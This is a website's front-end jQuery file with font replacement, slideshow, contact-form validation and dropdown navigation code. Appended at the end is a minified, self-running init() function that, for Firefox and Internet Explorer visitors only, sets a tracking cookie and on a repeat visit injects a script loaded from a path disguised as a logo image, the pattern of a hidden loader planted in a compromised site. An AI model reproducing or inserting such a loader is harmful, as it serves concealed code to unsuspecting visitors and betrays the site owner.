$(document).ready(function () {
	$('#myselectbox1').selectbox();
	Cufon.replace('.nav a', { fontFamily: 'Helvetica Neue' });
	Cufon.replace('.content h1', { fontFamily: 'Helvetica Neue' });
	Cufon.replace('.content h2', { fontFamily: 'Helvetica Neue' });
	Cufon.replace('.content h3', { fontFamily: 'Helvetica Neue' });
	Cufon.replace('.data .vacanciy H2 A', { fontFamily: 'Helvetica Neue' });
	Cufon.replace('.smenu a', { fontFamily: 'Helvetica Neue' });
	Cufon.replace('.article h3', { fontFamily: 'Helvetica Neue' });
	$("div.active a").everyTime(3000,function(i) {
		//console.log($(this).attr('rel'));
		var curr = parseInt($("div.active a").attr('rel'));
		if (curr > 5) { curr = 1; }
		else { curr = curr + 1; }
		$("div.item").removeClass('active');
		$("#item" + curr).addClass('active');
	});
	//$('.flash').cycle();
	//$('.flash .no').cycle('destroy');
	$("a[rel^='prettyPhoto']").prettyPhoto();
	if($('.flash').attr('class')!='flash no'){$('.flash').cycle();}
	$('#newsslide').before('<div id="nav">').cycle({ 
		speed:  10000,
		timeout: 3000,
		pager: '#nav'
	});

});


function validator()
{
	error=0;
	msg='';
	if ($('input[name="e_name"]').attr('value') == "") {
		msg+=("Please enter a value for the name field.\n");
		$('input[name="e_name"]').focus();
		error=1;
	}
	if ($('input[name="e_company"]').attr('value') == "") {
		msg+=("Please enter a value for the company field.\n");
		$('input[name="e_company"]').focus();
		error=1;
	}if ($('input[name="e_email"]').attr('value') == "") {
		msg+=("Please enter a valid email adress.\n");
		$('input[name="e_email"]').focus();
		error=1;
	}if ($('input[name="e_function"]').attr('value') == "") {
		msg+=("Please enter a value for the function field.\n");
		$('input[name="e_function"]').focus();
		error=1;
	}
	/* var obj = document.cform;
	if (obj.e_company.value == "") {
		alert("Please enter a value for the company field.");
		obj.e_bericht.focus();
		return false;
	}
	if (obj.e_email.value == "" || obj.e_email.value == "Email-adres...") {
		alert("Please enter a valid email adress.");
		obj.e_email.focus();
		return false;
	} */
	if(error==0){
		return true;
	}else{
		alert(msg);
		return false;
	}
	
}
	function select_month(){
		var objSel = document.getElementById("month_select");
		MyVal2=(objSel.options[objSel.selectedIndex].value);
		document.location.href = MyVal2;
	}
	function go_to_categorie(){
	var objSel = document.getElementById("categorie_list");
	MyVal2=(objSel.options[objSel.selectedIndex].value);
	location.replace(MyVal2); 
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/public/images/logo.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
